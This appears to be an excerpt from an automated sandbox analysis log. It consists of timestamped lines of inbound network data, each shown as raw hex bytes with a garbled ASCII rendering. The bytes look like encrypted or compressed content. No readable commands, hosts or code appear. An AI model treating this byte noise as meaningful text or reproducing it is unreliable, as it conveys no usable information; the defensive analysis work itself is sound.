2023-08-02 08:13:02 UTC	146	IN	Data Raw: 7d db a1 98 8b 0b 32 2a 7c 4d 92 75 97 9d e5 fc 13 17 34 7d b3 4a ec c9 6e ab a0 c3 31 a2 aa 17 69 f7 4f a9 ec 5c e6 10 11 cf af a1 3c 10 9a f6 7c cc 29 dc 18 04 7a bc a9 14 8d 67 3b 22 ff 94 fd f8 c1 6a ae 8e c4 3b bd 42 ba 97 4f f3 10 34 5e ce 1d ee ac 29 b2 e3 f3 b7 5f df 35 48 03 63 7b 91 1e a6 dd 5e 42 58 e9 f4 36 05 5a ae c5 6f f5 cc 11 ef 31 d4 d1 6e e1 3f 81 eb e5 b2 48 9f 15 fb 02 90 f7 73 96 5c 38 8c 91 b5 de 6a 88 51 87 e2 fe 27 8f b4 50 9d d9 5d 8a 54 5b bb 39 f0 49 a8 4c d6 a2 aa 23 1e e6 70 fe 64 8a 95 c1 a8 e2 d0 92 f9 1f 1f b0 c9 9c b4 74 68 b8 8d 23 6d e8 f8 f8 f3 3e 74 48 d7 e3 a2 f5 60 60 a5 7b bc 1b 59 9f 33 9e ef 05 73 a8 f2 3b d6 85 37 89 3c ee 88 d3 41 b1 23 de f4 02 dd 22 0e 29 3e 01 9e 08 b1 8a b2 da 68 6b 5d 3d 0f 5f a0 ea 4d ee Data Ascii: }2*\|Mu4}Jn1iO\<\|)zg;"j;BO4^)_5Hc{^BX6Zo1n?Hs\8jQ'P]T[9IL#pdth#m>tH``{Y3s;7<A#")>hk]=_M
2023-08-02 08:13:02 UTC	162	IN	Data Raw: 8c 17 75 39 7d 85 5e e0 8d 48 4e 9f 46 a1 35 82 c6 49 18 09 3f f4 6d 3a 03 a2 be 60 4c 59 41 2e dd 59 70 75 ab d5 ca 4c 16 a9 88 17 54 b6 05 b7 88 b8 26 77 01 b9 4e 71 25 e9 3d 34 bb 69 3e 40 e1 8f d4 a3 88 d1 54 0b 12 ec 27 39 f6 a4 57 a2 f3 b3 5b 86 e7 89 87 26 0c fd d0 e0 00 4a 42 47 26 84 ca 0f 26 c0 48 eb f4 c0 f1 c2 5f 9e a0 a9 91 0c d0 3d b2 bd 97 54 cf f9 2d 7f 39 b3 be d5 90 fe d6 5f ad 58 30 8d 1d 2b 25 2a 08 ae 57 f0 7d a3 a3 c4 cf b4 c6 4e b3 dd 14 a3 dc ce 7e da ad 75 20 d6 01 70 b6 25 df 0e eb c2 c4 92 f0 12 02 10 38 12 c1 86 df 1d 20 c8 a1 07 5f e5 c7 e0 c2 62 d1 2b ef 0e f4 e6 20 26 b7 ad c1 5e 68 08 46 44 9c f4 fd 97 cc f5 5d b8 4a 00 39 56 4f d2 46 60 54 7f 3f 9f e9 23 90 b8 ad b7 3c 8e 82 4c 4e ce 3e 7d dc 9b f7 1f 4e b8 e1 94 0d 36 24 Data Ascii: u9}^HNF5I?m:`LYA.YpuLT&wNq%=4i>@T'9W[&JBG&&H_=T-9_X0+%*W}N~u p%8 _b+ &^hFD]J9VOF`T?#<LN>}N6$
2023-08-02 08:13:02 UTC	178	IN	Data Raw: c6 30 7f 56 6f 91 54 9b 0f c1 50 8a 90 5d b4 4c 73 64 bb 05 6b cf bf 16 e1 92 c9 47 b0 d0 0e 87 f1 f6 b1 24 bc 3e 08 91 9b 4b 6c 6a 9a 23 5d 85 fc ca 7d cd dc 1f 65 17 e9 41 d0 81 90 5f fd 41 ed bd 6c 85 6e e7 ab ea ba 1c 46 a3 c9 06 8e ea 16 68 94 b2 7e 27 ef fb a8 3b eb e5 81 35 75 bf 9c f4 43 f6 ca d8 87 27 fd c6 6b 4f b2 3f 93 cf d0 6a 59 d3 f2 d5 3d fc 2e 08 e3 68 72 ee 3d 72 ef e6 30 e4 66 e5 f7 89 bf 3a 20 93 48 18 80 6e 07 df df a0 71 0b ca 43 8b 49 bd 42 40 83 46 d2 71 1c dd 29 2b 3c 1a db d7 77 31 10 73 8e 2c a0 98 98 ab 95 46 5f de 40 8b c7 63 51 5d 80 2a 0d 93 16 d9 e0 38 47 f3 6f 46 51 02 e5 33 8c 09 52 f6 de 84 c7 11 7d 20 22 16 11 57 46 87 75 44 ec 12 0a e9 30 06 7b 8c 2e b4 d1 10 bd 2e 7f 78 79 27 e4 cd c1 6a 9d 74 0d 9f 6b 4e e2 6d 79 c2 Data Ascii: 0VoTP]LsdkG$>Klj#]}eA_AlnFh~';5uC'kO?jY=.hr=r0f: HnqCIB@Fq)+<w1s,F_@cQ]*8GoFQ3R} "WFuD0{..xy'jtkNmy
2023-08-02 08:13:02 UTC	194	IN	Data Raw: 6d cd fe f3 ab 5a ad 11 a6 2a 1e ce 5a 23 33 aa d5 a9 ca 9a 32 d3 15 a2 5b d3 20 27 99 11 da 1b 79 a2 74 12 3d 92 9a e3 39 af e9 e6 49 a8 d0 94 8c 1f 36 52 f1 9c c1 17 da ba 20 55 d6 99 19 77 b4 0c 26 ce 09 37 73 4f 78 56 82 65 51 d8 9b 65 5d 45 e5 d7 db 6a 16 76 b5 99 04 f7 a3 a7 77 8e dd 37 e7 68 f9 db 9c f3 34 64 c0 ca c4 05 71 9e e2 f7 8f 06 f6 e5 ba f5 4e 61 bc 09 5b 46 cd bf 4a 1d a2 72 ee 5f a5 3f b8 5c 9b f8 95 c4 e3 ed 26 4e 56 a8 ed 5c 1e da c8 35 3d cb a3 6d ce fa 8a 69 11 36 55 12 34 11 95 29 cf 18 2f 17 1b f9 95 13 f6 05 19 b5 5d fb 89 91 11 45 24 5e a7 a7 3d ce da f4 ba 04 2d 09 87 08 5d 5c 7d a4 24 1a 31 6f c2 80 3b b9 93 66 04 48 a3 9b 40 63 88 36 04 f8 95 48 14 c5 3f 2e 1f 50 11 be d8 1a d6 34 9a 33 03 1a ae be 41 9d e1 40 32 46 62 7c cd Data Ascii: mZ*Z#32[ 'yt=9I6R Uw&7sOxVeQe]Ejvw7h4dqNa[FJr_?\&NV\5=mi6U4)/]E$^=-]\}$1o;fH@c6H?.P43A@2Fb\|
2023-08-02 08:13:02 UTC	210	IN	Data Raw: 25 76 4f 5a e8 f5 f3 3e 6a c2 01 1c 5c 6a 86 f9 be ee 51 bf 45 18 56 ad b5 88 8c 3b e5 17 53 ef b8 a3 1a be cf 11 6f db a7 88 92 9b 5f 7d ac 76 2f ba 33 bb 7f 09 0c 43 00 e3 66 0b 38 3e e4 ed 19 dc e2 ea b1 da f6 a0 91 e5 05 6d 34 4b 5f 4c 8e df 07 d2 a6 b9 ef 72 eb b4 3f cd 01 77 1b fe 7b c8 5a a4 65 c5 82 3d 3d 59 80 6b 7f 11 92 36 d1 fe 75 b5 40 97 8c fe 1d 01 02 32 19 95 0d 89 b5 4b ba bf 5c 76 bd 42 b0 70 ce c9 9f c2 c1 88 03 8a d9 35 66 ca 3f f2 cf 35 33 1e 50 7f 5d f1 8b fb e7 b7 f8 48 51 28 2b 34 6b b4 ad ff 1b ae d3 70 89 0f 05 0f f6 5c a3 97 18 d4 d6 de 73 8b 87 de be ed b8 9e 97 f8 79 38 e8 0a 95 e5 41 8b 60 fd f3 34 9f 36 d9 c1 81 1a 88 13 8b 56 c1 8b b7 75 50 e9 43 9f 73 49 28 50 04 0a 5f 1d 37 bf 6e fe b8 6e 41 47 73 4d fb 5d 32 38 bf c1 9c Data Ascii: %vOZ>j\jQEV;So_}v/3Cf8>m4K_Lr?w{Ze==Yk6u@2K\vBp5f?53P]HQ(+4kp\sy8A`46VuPCsI(P_7nnAGsM]28
2023-08-02 08:13:02 UTC	226	IN	Data Raw: 20 f8 49 24 84 ea 6b 3c b6 e7 f8 6a 67 62 6d c8 f6 51 55 f3 5a ea 75 85 0d 32 2e c0 80 91 c6 fb 00 56 d2 51 25 ec eb ee 9d 65 46 ba 28 73 91 56 ea a3 a2 11 fe 15 a6 b6 6b 55 0b 5b 5f d8 e4 5f 45 ae 7b 2f a3 be c7 a0 21 2b 90 79 0e 26 d8 e9 76 ae 01 83 89 87 2e 2c 02 f7 fc 93 ae b0 cd 41 e6 90 76 9a 7f b7 ba 3c 6a d1 2d da f8 ee 1b 60 90 a0 af 99 b6 24 68 0d ed 5f d8 42 83 69 71 7b 94 2e 8f ba 32 46 a8 4f 10 f8 d6 3c 22 ca 3c 2c 26 8b 60 7d 5a 99 0b 07 4f 8b c7 db 66 52 82 a9 31 1e 2e b9 ea f9 b3 8c f5 78 33 c4 ef d6 6a 2a c8 3e 59 83 12 48 cc cd 97 c0 66 cb 46 13 3b 25 7d ef ff b6 08 1a ee 7d 1b 58 a3 1e 45 9b 90 1b 7f b1 eb 3a ca ad 01 44 51 b8 51 db 85 65 d7 89 d5 68 65 19 26 92 55 fb 8c 23 8a 0f 34 38 fc 84 d7 00 27 9e dc 90 df 9f 6b 29 ec 0f 96 9c a0 Data Ascii: I$k<jgbmQUZu2.VQ%eF(sVkU[__E{/!+y&v.,Av<j-`$h_Biq{.2FO<"<,&`}ZOfR1.x3j*>YHfF;%}}XE:DQQehe&U#48'k)
2023-08-02 08:13:02 UTC	242	IN	Data Raw: 9b e7 09 25 f4 ec 98 5b 73 de e9 61 63 74 45 52 67 8b d2 aa 7d 3a f5 77 d9 e3 22 d5 39 98 2f fc 4a 50 98 f2 92 cf 55 35 3d 2b 99 ad f1 c2 77 00 33 34 fe eb 1f 53 b4 f3 b5 8f 46 61 3f ff 10 31 66 1f 82 bf 26 8d aa 43 b8 ff b2 fb f2 67 c2 c0 cf 78 be 7f a3 22 bf 6a 2d 39 22 34 67 f1 56 c8 ca cc b0 cc 3b 7a 90 27 6c a3 04 16 75 f3 9c d6 98 f5 a9 81 70 05 d6 2f cc ef ea 9a be 42 1d 9f 0b 7f 1a 9f 92 10 51 79 8e a0 b5 e0 67 47 f1 07 e3 16 ec a6 33 dc be de d4 6b 9e 47 c4 71 f3 95 a7 1f 62 39 ff 54 e3 64 95 3a 88 ce f1 c6 ce 00 cf d4 fa ed 4f 88 0b 85 42 1b 48 6a a7 05 08 c1 a7 26 3c fc e0 30 17 b8 a6 b4 3e ae 5b 85 1e 57 89 7b 8e 51 9f 55 95 1f c5 94 e1 9c 75 0a 27 4d 2b f2 ee 32 58 ef 09 a5 76 00 fa b7 8b 5d 6c 9e 19 db 97 f1 11 23 4c 32 f4 7e 5c a8 9c 95 e7 Data Ascii: %[sactERg}:w"9/JPU5=+w34SFa?1f&Cgx"j-9"4gV;z'lup/BQygG3kGqb9Td:OBHj&<0>[W{QUu'M+2Xv]l#L2~\
2023-08-02 08:13:02 UTC	258	IN	Data Raw: d6 a6 1a 71 15 b1 0e f5 e9 8e bb cb 47 27 49 2b 95 96 fa 10 33 07 69 64 05 7e 5e e0 72 45 bd bb 93 f4 76 ee d2 d9 f0 85 da e0 60 55 99 61 cf 4f 09 36 82 87 2a bb 1d e0 90 0c f9 8e df 91 a8 60 f9 38 9f df 1b 9f 60 7a 4b 4c 7c 60 74 8e 18 1c d4 aa 20 d2 6b b7 ce 20 10 d3 94 5b c7 bc c6 69 c2 e4 41 b0 c6 a8 ae 49 fe e0 87 d4 13 ff 82 c8 dd 06 a0 12 72 03 e3 cf 11 d9 c0 cd 9b d5 d7 cd 7c dc b6 1b c5 c0 4e 11 66 32 20 27 ad 05 be 7f d2 a8 5b 10 7c 8a 0c 4d 98 d1 4b c5 0c 8c 74 53 35 7e 90 14 a9 48 b2 e2 55 dd 60 e6 32 14 d9 9f ad 27 16 fd fe 76 35 50 08 32 1f 45 1f f4 0a 0d 39 54 c8 69 d1 0e 37 ee f2 21 f4 e5 88 5c 7f 7c 70 c5 94 1e 9f 7a 4e 50 91 8f 68 2b f0 89 62 70 f0 1a e4 3d 85 db c2 ff 5c 37 94 b7 8c 17 96 28 11 10 be c5 76 96 c0 81 1a 7a ce 25 9c fb c3 Data Ascii: qG'I+3id~^rEv`UaO6*`8`zKL\|`t k [iAIr\|Nf2 '[\|MKtS5~HU`2'v5P2E9Ti7!\\|pzNPh+bp=\7(vz%
2023-08-02 08:13:02 UTC	274	IN	Data Raw: 4b c9 1f 89 b7 3e 4b 24 a5 0e d6 fd a0 f0 cb 38 10 33 26 98 67 32 bf 69 30 50 30 b7 dd 96 26 24 7f b7 ef b4 cb 27 4b c1 38 88 c6 85 bb 96 99 99 c2 4b 07 10 43 94 c5 fc d7 a2 10 0d f3 29 9e 73 5f ac 83 9c 53 6f ed 55 28 bd 70 2c 57 48 4f 8c b0 b8 c4 3c 6b 44 55 d8 68 e7 da d3 c5 c0 6b 74 9b ed 82 be 83 1e 57 43 69 46 58 6b a2 a8 4c d0 18 56 13 78 c1 cd d2 6b 70 a2 0d 0c fd f2 b6 38 95 8f 48 4c 62 70 07 d9 99 db c7 4e da 41 6d 69 32 c3 e5 da 06 fe f0 a2 3f 1e 1e 46 3d c1 7d d0 9a ee a2 db b5 26 24 f4 1f 16 67 ec e7 48 4b e2 b9 02 49 1f 82 b9 17 c6 31 f7 b7 75 b5 30 7f 21 94 87 05 b3 4c 97 91 58 09 e7 d9 41 ff ae ee 75 f3 a5 c5 52 c1 a5 16 da be a7 9c 10 26 15 fa ce d9 80 ff fb de b0 ca fe 77 d8 af a6 1d 61 76 f3 86 b5 37 c2 a3 b8 13 24 34 44 61 cc fc ed a0 Data Ascii: K>K$83&g2i0P0&$'K8KC)s_SoU(p,WHO<kDUhktWCiFXkLVxkp8HLbpNAmi2?F=}&$gHKI1u0!LXAuR&wav7$4Da
2023-08-02 08:13:02 UTC	290	IN	Data Raw: e2 81 11 8d 97 25 5d c1 f6 fa 06 0e 27 53 9e 1f d6 5d f5 82 7f d9 d8 5f 4f 5a d7 4d fc 0c 39 e4 af fa 54 52 0f 44 85 1b 0f c0 05 38 6d 70 58 46 c4 1e ee 3a e9 23 60 c3 4e 23 e9 91 4f 9d 9d d1 69 c4 de ef 12 73 57 92 af 85 2a 16 58 34 37 de 1b 8e 57 0a ae e2 84 f3 23 d4 09 18 87 06 41 aa f1 e6 a1 01 72 c6 11 7e 7a 73 a6 93 3d a8 7a 0d 33 61 f3 8e a8 52 f1 bc a2 5b 73 3a 8e ee 62 bc e6 c1 33 a5 b1 ea de 42 0f 78 80 ea e3 05 ee 57 e0 6e 6d 00 f7 c7 a5 f2 ae 74 50 f7 d8 30 24 17 ed d8 2f 5c d6 bf 4f f4 9a e6 be 33 63 5c 6b c0 2e 1f 74 43 10 48 94 33 8d a7 19 63 ce 7f c0 7e a1 5a 5a 90 fc 2c 85 38 90 c9 f2 af 2d a3 71 d5 87 9d aa 1d 74 2a 6a 80 27 e6 f8 e9 c3 90 31 b1 ee d5 9a 01 04 70 22 7e 04 d1 20 d9 a8 2d d6 41 8d de e8 d8 6a dc 03 9e 9f f8 eb 15 b6 43 2a Data Ascii: %]'S]_OZM9TRD8mpXF:#`N#OisWX47W#Ar~zs=z3aR[s:b3BxWnmtP0$/\O3c\k.tCH3c~ZZ,8-qtj'1p"~ -AjC*
2023-08-02 08:13:02 UTC	306	IN	Data Raw: 55 df 92 82 2f 9d 1f 6e 61 04 99 26 2d 38 da a4 42 3f bf 80 db 22 81 01 75 a8 67 06 4f 8a 97 db 3d bd 70 6f bc ec 61 14 17 54 2a 9b 51 d9 96 4b 33 a0 16 17 f8 c9 d0 fd a3 20 47 25 88 6e 5e 00 a7 a9 de 40 67 c5 a8 9d 39 ba 10 ce 54 f3 2e d7 95 a3 a0 fb fa 03 39 df 13 3c f5 45 f3 16 1b 75 f3 9c 87 14 6d eb 24 fd f5 41 dd 3c 48 ab 18 95 5e ad 32 57 80 3c 88 72 a6 7e 0a da 99 2e 2e 27 cd f4 38 c3 b1 c9 b3 4f f7 fb 08 28 d5 4a b1 02 91 b8 2c bb 65 ab 58 56 f0 d5 b0 6a de 4d a1 f9 cc 01 12 14 7a 56 2e 14 de 22 37 be 40 b1 c6 11 e4 86 d0 a1 b6 9f 24 31 11 eb 3a c5 6d b1 58 8c 6b 90 ff 20 8d 50 c4 a8 c0 4a e6 36 ce ca 1b 4e dd f9 1b c5 ab 6d c7 5d fb fd 4e ff 50 dd 16 af 05 73 1d f5 9f 78 24 7c dd 47 6a 36 aa 6e 7d 6c 74 2b 72 d3 10 15 a1 13 26 40 ff 91 5a 8c c2 Data Ascii: U/na&-8B?"ugO=poaT*QK3 G%n^@g9T.9<Eum$A<H^2W<r~..'8O(J,eXVjMzV."7@$1:mXk PJ6Nm]NPsx$\|Gj6n}lt+r&@Z
2023-08-02 08:13:02 UTC	322	IN	Data Raw: e9 9c 62 09 82 68 eb 6b db 7b 67 ea 38 3b f2 8c 2c 0b e7 a6 7f 12 09 94 36 d7 9a ef 16 a7 ce c3 4d fc b2 98 83 df 8f f2 dc 46 5d ac a5 48 80 04 71 96 91 6f 50 80 d6 11 e5 2f 68 a2 0a 5d 96 90 6e 1a 5b 4f 12 6e 06 7b d5 c0 65 be 8a 63 b2 5a 82 48 43 05 3f 2a 7a fb 0e b9 3d a1 03 80 fe 01 e1 f8 0b d7 39 2f 6d 89 2b 74 87 0d e1 be 73 73 27 86 2c fa 6d b6 fe a9 5f 87 17 74 13 fc a3 0a b0 e8 d0 6f d6 cc 91 29 b5 91 2a a5 f4 5e d1 58 fa 18 8b a4 2b 91 5d b6 ef 6d 73 e1 86 42 b8 d8 03 18 a8 0a f8 cc dc ed 4e 3d cb 4c 3e 24 17 ca 60 a0 23 8c 5f d1 95 84 0f 09 e0 32 ec d2 9c c9 fd 64 2a e9 f4 a9 c4 8e 3c b3 98 80 2e 39 c3 94 1a c3 d7 d3 eb 8d 26 27 f6 74 a6 fd ae 8c c1 cf 38 d9 9c 63 7e 26 57 80 90 b6 30 b2 06 b0 d4 b9 41 84 55 16 d3 92 e1 1f e8 19 a6 64 3d 35 4b Data Ascii: bhk{g8;,6MF]HqoP/h]n[On{ecZHC?z=9/m+tss',m_to)^X+]msBN=L>$`#_2d*<.9&'t8c~&W0AUd=5K
2023-08-02 08:13:02 UTC	338	IN	Data Raw: fa 66 60 37 8d 13 88 f0 2e 77 48 32 62 94 ba 85 89 86 2f 51 a2 48 53 76 11 8a 97 89 a4 aa 9d 98 ec a7 4e 84 cc 8f 55 28 ed 71 d1 77 ba 9c 58 74 34 68 ac 4d 53 15 bd 0e 06 91 ff 74 09 78 da ff ea 3d 23 76 94 59 15 8b eb 0d 31 eb 1f f9 64 04 96 eb 98 1a 7f fa 28 36 30 e5 b3 6a fd b3 9e 25 e7 89 cc 04 06 b4 07 dd 5d 4c da a3 aa ca bc fd c2 f8 b4 a6 a1 65 38 47 f9 ca 62 98 90 0a 62 6d 71 14 3f a7 2d 2f 57 5f 1a 68 4d 64 89 1e a7 de 72 e8 7e fd f3 4b 03 10 ae 51 e4 2c 03 3b 97 97 31 f8 16 01 d7 cb 9d 39 fe 97 f5 eb 74 4d 01 74 60 c8 4d 3e 6b 34 a2 df 63 ed a5 51 8e 48 0c ed 99 4d 04 df 50 43 62 c1 9d a3 70 2d 44 cc f0 1b 65 02 d0 11 7f 77 b7 bb bd 53 86 27 6b 22 e7 62 1e 15 93 90 2e 1a 23 09 39 79 c0 19 7b 2a 72 6b 9d e7 61 b5 fb 3a 2d 2c 46 53 1f 09 21 70 24 Data Ascii: f`7.wH2b/QHSvNU(qwXt4hMStx=#vY1d(60j%]Le8Gbbmq?-/W_hMdr~KQ,;19tMt`M>k4cQHMPCbp-DewS'k"b.#9y{*rka:-,FS!p$
2023-08-02 08:13:02 UTC	354	IN	Data Raw: 42 a9 7f 37 9d 51 ce 90 d6 04 ac 5b e5 52 13 95 ef d8 5f fd 37 42 77 75 56 07 0d 51 29 32 80 be 6b e4 db b6 70 99 cb c2 5d b6 f4 6a e0 62 0f 42 7e 8e 08 88 92 bb 89 d6 da ef d7 cb 23 c4 bd f1 6b c3 a9 0c 2a 71 f8 22 94 a7 58 a0 e3 cc 0a 68 db d7 4c 53 62 43 46 82 d3 81 9d 5a 03 a9 ad 8d a8 72 d9 a9 7f d5 9e 36 a0 12 20 9f 51 75 6f 7d 30 c1 58 7d e8 10 df 4f 8d 59 49 33 31 56 e0 ed 65 e0 df be e0 f5 73 19 63 99 84 05 4b 3c 57 d6 eb e3 26 f9 62 db b0 9a 1f 09 e9 5e 8f ee 83 45 38 34 48 a6 a0 9e 48 cb d6 5a aa 2a ad d0 6f 79 ed 86 e0 43 fa 2c da e5 8e f4 62 90 43 a3 00 be eb cf 6d 8d 59 dd 09 7b 8e 7b 5b 04 9f fc 47 ae af 7c e3 70 06 f2 0d 8e 37 2f b9 73 41 b9 0a 25 f3 2c 07 32 77 18 d0 8a d7 2f 54 6a e0 77 f6 dd 0d 3a ed f5 66 4e 06 2c 5b bf 03 c7 29 77 ed Data Ascii: B7Q[R_7BwuVQ)2kp]jbB~#kq"XhLSbCFZr6 Quo}0X}OYI31VescK<W&b^E84HHZoyC,bCmY{{[G\|p7/sA%,2w/Tjw:fN,[)w
2023-08-02 08:13:02 UTC	370	IN	Data Raw: d6 6d af 7f f0 47 f7 9f 96 89 51 3d ae c9 a1 b3 eb d9 a4 5c 6c 33 12 ce 5b 79 39 60 c8 46 fc 0e 20 5c ef 73 c8 15 b1 9f 39 cc cb 68 a9 90 4e 04 98 d7 c4 e1 d9 bc 04 1d a8 ca 6a fa 47 7e 2d c8 6f da 03 28 7c 54 8d db f3 8a 70 a9 a9 e2 da 59 01 bd e6 8b 79 d3 47 62 80 f6 60 66 20 45 4d 64 5e 99 01 0d 2a 21 09 67 e1 5f c6 4e 7a 41 9e 15 59 6a 84 f4 b8 37 e9 68 9a 19 bb 16 4b f6 35 b3 91 ec f0 db cd 62 3c 92 2b 39 03 19 1f e6 4b a6 bc 98 9f 51 12 67 0d 5f 98 15 27 3d 5b 92 98 77 1f a7 01 12 1d e2 76 2a 6c 63 95 ab fa 37 d4 f3 74 81 79 18 ef d7 c1 8f ef b7 65 c2 4e 29 05 0a 03 2a 67 0c 43 d4 4d df ec 8d 57 6e b5 2d 16 08 e5 ca 8f 55 e4 e9 5c 19 74 41 be f5 be b6 85 65 34 a5 84 f8 4b 52 ed b7 a8 d0 bf 1c be 10 b3 c3 ec 89 dc 19 9d dc 6f bc 6a 65 99 90 8b 3e 95 Data Ascii: mGQ=\l3[y9`F \s9hNjG~-o(\|TpYyGb`f EMd^!g_NzAYj7hK5b<+9KQg_'=[wvlc7tyeN)*gCMWn-U\tAe4KRoje>
2023-08-02 08:13:02 UTC	386	IN	Data Raw: 2a d8 08 6c d5 df 20 b8 8a 7c a6 cf 9b 51 4e 8a 12 ac 08 cd 98 ce 87 73 e1 ed 15 e7 4b 28 99 7e 3e ce 92 b1 f7 12 1a a7 f8 c3 97 f2 53 88 ff bc 0b 05 e1 65 b3 04 67 7f ec c1 95 53 ea 2a 14 31 1d 55 05 49 a7 1e ec 0b 7f 01 4f 37 33 c0 69 f4 cc 69 2e b6 ff 3e cc 95 26 f3 5d 29 0a e0 1d 70 c6 f1 27 07 f3 f8 af 9b 7b 72 a6 63 70 34 ac b6 ca c6 97 ad e3 49 b4 9e ae c5 97 bc 7b 3e a2 f8 c9 63 ea 9b b6 51 27 64 a2 98 cf d8 97 6a c9 a1 ce d0 33 79 60 17 5d 14 4f c1 de b2 1c 5b 3f 56 60 2c 45 b9 f0 19 3a 5d fa cb c6 22 5f 94 88 50 a2 2e e0 19 91 f0 53 aa 9b 3b 1b 7e ba 29 25 82 3a a1 c7 4c 1e e8 2f 09 f0 71 0f 8f cc bd 70 f6 b9 af 44 f6 b6 8d 4e 69 f2 b8 20 fc b0 4d c9 bc c5 2c 48 67 84 54 de 77 03 65 8d 34 dd 5d 52 c1 e2 5b 0e bf 97 5a c9 93 a0 b1 d6 f7 55 10 a7 Data Ascii: l \|QNsK(~>SegS1UIO73ii.>&])p'{rcp4I{>cQ'dj3y`]O[?V`,E:]"_P.S;~)%:L/qpDNi M,HgTwe4]R[ZU
2023-08-02 08:13:02 UTC	402	IN	Data Raw: 0b b1 33 3a aa 89 e4 52 3e 33 eb c6 40 b5 f8 31 2d b6 e7 4b 7c 2e cf da 60 55 6f 8a 43 cb da 34 f8 9c 21 f0 8c 51 ab 6f f2 a8 65 45 eb 8e 2b 84 bc 8c 22 85 67 0d 1a 60 87 ad b2 f7 ac 95 ac fd 48 76 e2 8c 25 e0 36 b6 41 de 5c e2 24 12 7c 3d 7b 50 e6 dd c6 b6 2e d0 c9 c4 ff b2 68 f1 e9 1b e3 74 7c 91 1d d4 69 15 e3 20 fc a0 c4 1d 6a da 78 73 f1 56 a5 f8 9f 7d c8 dc 51 5e 45 d0 c5 dc da 9d 68 5a f7 5b bf e1 e6 d5 d5 62 65 a6 7f 5b 85 24 a9 9e 2b 83 84 95 82 20 41 a8 16 d1 2c a9 83 89 1c c1 6a 48 21 1e 10 60 d1 be f6 75 b9 55 66 26 a1 83 d1 72 b9 6d fd 84 2b 97 86 6d a8 a6 f7 58 51 5a d1 c5 e5 34 39 5f ae 8e 0e 3a a6 c6 99 21 39 ea 1e 6c 19 6f 68 22 8f ba ea 4c 5b 0c d0 7c 15 fc 00 8a 1d ac d7 2c dd 90 7f 3c d9 dc d8 e9 8f 6a 07 d6 d8 cf b8 d3 6c f7 65 6f f4 Data Ascii: 3:R>3@1-K\|.`UoC4!QoeE+"g`Hv%6A\$\|={P.ht\|i jxsV}Q^EhZ[be[$+ A,jH!`uUf&rm+mXQZ49_:!9loh"L[\|,<jleo
2023-08-02 08:13:02 UTC	418	IN	Data Raw: bd a1 b1 61 72 4e f1 8a ac 54 34 d9 be 7a 84 b6 1b ed 49 5a 01 ce a1 f7 8e 06 c4 3d 01 fb 0f cf 22 c2 16 0c 8e 14 7e d2 fc 90 5b 38 eb 14 4f 83 96 ab 16 6b 58 a1 f8 e6 6d 19 45 31 1f 4a 93 4d fa 64 ef 4e 30 f5 af 19 22 24 73 6b 46 69 53 b0 5c cb 20 ba fe e1 37 1c ed db b0 c5 b7 64 38 eb 78 2a ec 05 73 fb b8 79 1e 8a 4f 56 b2 7e 7b eb 59 81 a3 ec 7b 8d a4 69 66 dc 9a ac 33 9d d0 2b ac 6f f1 94 e7 00 42 63 f0 92 1b f4 bb 57 a2 ea b8 62 9f d3 2e 50 b1 00 48 93 4a ec 50 b2 dc 76 22 0f 08 c8 a3 f7 25 5d 03 60 2c f1 de b7 36 3d 66 90 5c b3 03 bd 4a 31 35 b5 b3 6c 5b 92 41 8c 07 0d 84 2b 38 96 aa 73 da a8 94 8b 01 a5 d0 eb 44 07 b1 8f a2 87 d1 f8 bd a0 c2 fe cf 79 c7 af 12 24 67 42 bd 55 9f d4 ab 31 d8 76 52 70 3d ff 97 a8 a5 40 c1 00 74 56 19 5a 66 8a 98 14 a7 Data Ascii: arNT4zIZ="~[8OkXmE1JMdN0"$skFiS\ 7d8x*syOV~{Y{if3+oBcWb.PHJPv"%]`,6=f\J15l[A+8sDy$gBU1vRp=@tVZf
2023-08-02 08:13:02 UTC	434	IN	Data Raw: 1b 52 c9 cf 45 b8 9d ce 30 14 22 53 44 3e 44 1a 1e 71 9f f5 56 4a 92 25 30 e6 88 c3 a8 33 6f 1a 61 a5 3c 5c 3a bc 82 24 0c 1f 3f d1 79 91 12 1b c5 dc dc 36 8b 4f 37 9b ca 5d b1 1e cb f8 d5 36 20 ba 96 3b ca 40 5c 52 03 a6 54 e1 0e 86 fb 8d 43 c9 2e a9 4a 61 11 48 7d 0f 09 b7 6f 26 9a f0 59 b1 12 2a 93 d9 15 49 cb fa 8d e6 55 bb 9e 05 ba a2 6b c7 1d 1d d8 24 a3 31 34 5a 4f a9 bd 17 6e da db 16 17 3b 57 0d f6 e4 a5 73 50 9e c2 b4 13 6c 86 6f c6 88 ac 2e 0b 8b 92 87 a4 8e bf ef 3d 64 29 37 cb f6 74 6d 3b 1a 26 a2 de e3 21 00 77 1b e5 76 d2 81 07 10 90 2e 89 14 1b 37 c0 f9 23 38 85 79 1f b3 f3 50 18 67 2f c2 34 5e 93 bb c3 4d 1b d2 d3 91 ae 3a 69 46 02 e6 54 d3 d7 7d fb 62 76 7d 0d e5 3e f8 de aa 03 93 ab 23 66 f6 3e 30 dd 9e ab 5e 74 26 ce cf 96 4a 0d f0 62 Data Ascii: RE0"SD>DqVJ%03oa<\:$?y6O7]6 ;@\RTC.JaH}o&Y*IUk$14ZOn;WsPlo.=d)7tm;&!wv.7#8yPg/4^M:iFT}bv}>#f>0^t&Jb
2023-08-02 08:13:02 UTC	450	IN	Data Raw: ce d6 d0 a6 40 65 44 26 c4 fc f4 8d 3e 56 dc 25 48 eb 66 9d e6 74 32 56 33 0d 2d 38 01 f0 ee ae 55 ad 8b 59 d4 66 9c 91 55 6a a3 d4 79 0f c7 4f c0 40 30 f8 3b 94 61 e8 93 b7 bb d0 d1 7b 48 bd 3f 59 8f e5 a4 31 c4 08 75 27 9f b3 22 fd 9d c8 45 9c 23 40 11 a9 f2 e7 06 74 76 cf b6 0b f9 ea 6e 3b cc 1f 64 58 47 91 d6 8b 37 ff 19 cd 2e 01 90 ee ae f5 f7 b1 38 6a 58 e7 a5 74 02 54 85 3e 2f c5 61 73 06 5c bf e7 31 de 0b 85 5b 26 bf da 0a 6e 03 ce 78 24 5b 6c aa f6 a6 35 3f a3 f2 23 fa 71 34 7e bb 2e d0 5c 1b aa c6 e9 05 4a c8 dd d0 97 03 2d db fb aa 53 d3 80 84 cd 6b 99 b1 5f 0d d2 ee 8e 95 1c 4f c7 8e 57 83 01 9c 15 f8 88 99 f8 88 39 29 dd d0 66 c8 bb 7b 1d 35 e8 11 42 07 5d 2f 01 8d 18 11 8a 47 3f 40 ba d0 1c b5 f8 01 59 9a 19 06 1d 6b 05 2a 22 80 92 50 1d 24 Data Ascii: 